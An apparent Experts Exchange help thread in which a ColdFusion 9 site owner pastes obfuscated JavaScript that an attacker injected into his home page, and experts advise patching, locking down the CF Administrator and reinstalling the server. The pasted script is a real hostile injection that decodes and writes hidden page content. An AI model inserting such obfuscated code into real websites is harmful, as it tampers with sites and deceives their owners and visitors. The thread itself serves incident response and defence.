Solved

Coldfusion Hack of some type

Posted on 2013-02-04
9
982 Views
Last Modified: 2013-02-05
Hi,
I have a site running CF9. It's been running for a few years with no major problems.
Today I noticed my home page timestamp had changed. When I compared the code to the back up version I found some javascript inserted that I definitely did not put in.
The code is below.
What are some of the common ways this could have gotten inserted and what can/should I do to protect my server?
Thanks,
Nacht



<script language="JavaScript">function zdrViewState()
{
var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','9977918890','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];
t=z='';
for(v=0;v<m.length;){t+=m.charAt(v++);
if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);
t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}zdrViewState();
</script>
0
Comment
Question by:nachtmsk
9 Comments
 
LVL 18

Expert Comment

by:Jerry Miller
ID: 38851488
This person had the same issue as you. The hacked code is explained with some preventative measures that you can employ.

http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354228
0
 
LVL 14

Expert Comment

by:RickEpnet
ID: 38851642
Have you installed all the updates to CF9? Do you have your CF Administrator locked down or delete from the production server? Are you running Windows or Linux?
0
 

Author Comment

by:nachtmsk
ID: 38851778
@Rick : I am running Windows Server 2008. I think I have all the updates to CF9, but I'm not certain, I will check that out.
When you say do I have CF admin locked down, what do you mean exactly?
Thanks,
Nacht
0
 
LVL 14

Expert Comment

by:RickEpnet
ID: 38851804
Basically you should not be able to get to the ColdFusion Administrators site from the internet.  You need to check this on every site you have setup.
0
3 Use Cases for Connected Systems

Our Dev teams are like yours. They’re continually cranking out code for new features/bugs fixes, testing, deploying, testing some more, responding to production monitoring events and more. It’s complex. So, we thought you’d like to see what’s working for us.

 
LVL 14

Expert Comment

by:RickEpnet
ID: 38851811
Check this site out. Has a link to a tester.
0
 

Author Comment

by:nachtmsk
ID: 38851844
@Rick -- you forgot to put the link to that site you mentioned :)
0
 
LVL 14

Assisted Solution

by:RickEpnet
RickEpnet earned 250 total points
ID: 38851897
0
 
LVL 36

Accepted Solution

by:
SidFishes earned 250 total points
ID: 38852334
You will want to be very diligent about inspecting your server. Modified source code (as opposed to XSS exploits which are inserted into a database) means that the bad guys have at least partial unrestricted access to your server. And possibly it's completely compromised. Best practice says do a complete format & reinstall, but that's a decision you'll have to make.

There was a critical notification for CF9 & 10 issued about a month ago do to an issue which allowed for complete bypass of cfadmin due to authentication problems. There are active exploits against this flaw. There is no patch at this time, only mitigation steps.

http://threatpost.com/en_us/blogs/adobe-coldfusion-exploits-wild-patch-remains-week-away-010713

http://www.techworld.com.au/article/445715/adobe_warns_actively_exploited_coldfusion_flaws/


Highly recommend subscription to the Adobe Security Bulletins
http://www.adobe.com/cfusion/entitlement/index.cfm?e=szalert
0
 
LVL 14

Expert Comment

by:RickEpnet
ID: 38852354
I agree with SidFishes that the safest thing to do is format and start over.
0

Featured Post

Is Your Active Directory as Secure as You Think?

More than 75% of all records are compromised because of the loss or theft of a privileged credential. Experts have been exploring Active Directory infrastructure to identify key threats and establish best practices for keeping data safe. Attend this month’s webinar to learn more.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

JavaScript can be used in a browser to change parts of a webpage dynamically. It begins with the following pattern: If condition W is true, do thing X to target Y after event Z. Below are some tips and tricks to help you get started with JavaScript …
This article demonstrates how to create a simple responsive confirmation dialog with Ok and Cancel buttons using HTML, CSS, jQuery and Promises
The viewer will learn the basics of jQuery, including how to invoke it on a web page. Reference your jQuery libraries: (CODE) Include your new external js/jQuery file: (CODE) Write your first lines of code to setup your site for jQuery.: (CODE)
The viewer will learn the basics of jQuery including how to code hide show and toggles. Reference your jQuery libraries: (CODE) Include your new external js/jQuery file: (CODE) Write your first lines of code to setup your site for jQuery…

911 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

24 Experts available now in Live!

Get 1:1 Help Now